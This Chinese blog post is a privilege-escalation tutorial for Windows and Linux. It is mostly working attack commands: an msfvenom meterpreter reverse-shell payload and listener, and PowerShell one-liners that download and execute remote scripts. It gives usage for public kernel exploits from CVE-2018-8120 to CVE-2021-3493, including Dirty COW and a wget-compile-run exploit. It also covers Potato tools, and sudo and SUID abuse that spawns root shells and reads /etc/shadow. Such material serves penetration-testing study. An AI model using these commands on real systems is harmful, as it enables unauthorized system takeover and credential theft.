01.操作系统提权
本文最后更新于446 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、权限提升简介

1.权限提升概述

权限提升简称提权,攻击者通过安全漏洞把低权限用户提权至高权限的管理员用户,从而获得对整个系统得控制权。

提权分类:

  • windows系统下的提权
  • linux系统下的提权
  • 域内提权
  • 数据库系统下的提权
  • 利用第三方软件提权

2.Windows提权

windows提权一般是将权限提升到administrator或者 system权限
windows中的权限分为如下:

  • 普通用户权限(Users)
  • 管理员权限(Administrators)
  • 服务系统权限 (SYSTEM)
  • 访客权限 (Guest)

3.Linux提权

Linux提权一般是将用户权限提升到root权限

4.权限提升条件

  • 拥有Webshell/Beacon/Sessions,拥有普通用户权限
  • 本地或远程服务器上存在漏洞,拥有漏洞利用工具代码
  • 拥有某些软件的账号密码

二、Windows系统提权

1.Windows提权思路

  • 前期信息收集
  • 利用收集的信息进提权

2.Windows提权信息收集

1)前期工作

  • 生成一个Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.3.173 lport=6666 -f exe -o xx.exe
  • 创建监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.3.173 -P 6666
  • 运行木马文件,MSF获得meterpreter会话

2)手动信息收集

WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。

  • 补丁信息、补丁包过滤
wmic qfe get Caption,Description,HotFixID,InstalledOn

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"
  • 获取杀软名
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
  • 获取杀软名和安装路径
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

3)主动信息收集

1.winPEAS

  • winPEAS.bat
winPEAS.bat > wininfo.txt
  • winPEAS.exe
winPEASx64.exe quiet log=wininfo.txt
  • winPEAS.ps1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/PEASS-ng/raw/master/winPEAS/winPEASps1/winPEAS.ps1')" > info.txt

2.PowerUP
Powershell提权框架 – Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

  • cmd环境运行
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
  • 内存加载运行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/PowerSploit/raw/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"

3.Windows内核漏洞提权

1)发现已知内核漏洞

1.检查Windows系统版本是否有任何已知的漏洞

  • 列出所有补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn

powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"
  • 列出安全更新补丁
powershell -c "Get-Hotfix -description 'Security update'"

2.已对外公开EXP

  • Windows平台提权漏洞集合
https://gitee.com/yijingsec/windows-kernel-exploits
https://gitee.com/yijingsec/Kernelhub
http://kernelhub.ascotbe.com/Home/Docs/#/

2)CVE-2018-8120

  • 用法:
CVE-2018-8120 exploit by @Topsec_Alpha_lab(https://github.com/alpha1ab)
Usage: exp.exe command
Example: exp.exe "net user admin admin /add"
  • 示例:
    Pasted image 20250330114840.png
  • 上线system
    Pasted image 20250330114900.png

3)CVE-2019-0803

使用:
检测是否存在漏洞

cve-2019-0803.exe cmd "whoami"

Pasted image 20250329225540.png

反弹SYSTEM权限会话到MSF

cve-2019-0803.exe cmd "start xx.exe"

Pasted image 20250330120053.png

cve-2019-0803.exe cmd xx.exe

Pasted image 20250330120127.png

4)CVE-2020-0787

itsArbitraryFileMoueExploit.exe

Pasted image 20250330121251.png

4.提权工具脚本

  1. CollectAV_KB
  2. BeRoot
  3. Watson
  4. Sherlock
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/Sherlock/raw/master/Sherlock.ps1');Find-AllVulns
  1. JuicyPotato
    Juicy Potato的限制条件有:
  • 需要具有SeImpersonate或者SeAssignPrimaryToken权限
  • 开启DCOM
  • 本地支持RPC或者远程服务器支持RPC并能成功登录
  • 能够找到可用的COM对象

一般从Web拿到的 webshell都是 IIS服务器权限,是具有这个模仿权限的。
一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执行 whoami /priv 查看是否具有权限

  • Webshell版执行命令:
    利用 JuicyPotato以 system权限执行命令
JuicyPotato-ws.exe -p "whoami"

JuicyPotato-ws.exe -p "xx.exe"

Pasted image 20250330161257.png

  • SweetPotato执行命令:
SweetPotato.exe -a whoami

SweetPotato.exe -a "c:/test/xx.exe"

Pasted image 20250330161902.png

  • getSystem

三、Linux系统提权

1.Linux提权思路

  • 前期信息收集
  • Linux系统内核漏洞
  • Linux服务提权漏洞
  • SUDO权限滥用
  • SUID提权
  • GTFOBins

2.Linux提权信息收集

  1. linPEAS.sh
  2. beRoot
  3. 操作系统信息

3.Linux内核提权漏洞

  1. Linux-kernel-exploits:Linux平台提权漏洞集合
  2. searchsploit搜索exp
    searchsploit是一个用于 Exploit-DB 的命令行搜索工具,kali自带
searchsploit privilege | grep -i linux | grep -i kernel

Pasted image 20250330165658.png

具体用法详见课件

1)脏牛提权漏洞

漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权
影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)

  • gcc编译
gcc -pthread dirty.c -o dirty -lcrypt
  • 替换root用户
./dirty password

Pasted image 20250330174941.png

2)CVE-2019-13272

linux本地提权

漏洞范围:
4.10 < linux内核版本 < 5.1.17

exploitdb:
https://www.exploit-db.com/exploits/47163

利用exp:
https://www.exploit-db.com/download/47163

wget https://www.exploit-db.com/download/47163 -O exp.c
gcc exp.c –o exp
./exp

3)CVE-2019-7304

Linux包管理器snap本地提权漏洞

  1. 影响Ubuntu版本范围
  • Ubuntu 18.10
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 LTS
  1. snap版本范围:2.28 < snapd < 2.37
  2. 漏洞利用
./dirty_sockv2.py

Pasted image 20250330181520.png

会写入dirty_sock用户
不是很好用

4)CVE-2021-3493

  1. 漏洞影响范围
  • Ubuntu 20.10
  • Ubuntu 20.04 LTS
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 ESM
  1. 漏洞利用
gcc exploit.c -o exp
./exp

Pasted image 20250330183646.png

4.Linux密码Hash

1)/etc/passwd

所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部 分

1. 用户名
2. 密码,x表示密码保存在/etc/shadow
3. UID,0代表root
4. GID,表示所在组
5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6. 用户主目录
7. 默认shell类型

2)/etc/shadow

只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:

1. 用户名
2. 加密后的密码
3. 上次修改密码的时间(从1970.1.1开始的总天数)
4. 两次修改密码间隔的最少天数,如果为0,则没有限制
5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
6. 前多少天警告用户密码将过期
7. 在密码过期之后多少天禁用此用户
8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9. 保留

3)解密hash

有时候在passwd文件中会有密码

Pasted image 20250330192346.png

Pasted image 20250330192400.png

5.滥用的SUDO权限

  • sudo简介
    sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
    sudo配置文件: /etc/sudoers
    配置文件权限: 0440
  • 显示出自己(执行sudo的使用者)的权限
sudo -l
  • 执行环境变量中的shell所指定的shell,或是 /etc/passwd 里所指定的shell
sudo -s
  • sudo提权
    这些应用程序可以使用sudo
sudo /bin/ash
sudo /usr/bin/awk -F: ‘{print $1 $2}' /etc/shadow
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo curl file:///etc/shadow
sudo find . -exec /bin/sh \; -quit

Pasted image 20250330194201.png

Pasted image 20250330194149.png

6.SUID权限提权

  • SUID权限说明
  1. 启动为进程之后,其进程的属主为原程序文件的属主
  2. 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
  3. 执行suid权限的程序时,此用户将继承此程序的所有者权限
  • f ind命令查找拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
  • 利用SUID权限
    https://gtfobins.github.io/
    可以查看哪些程序可以提权

7.Linux提权工具

traitor

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇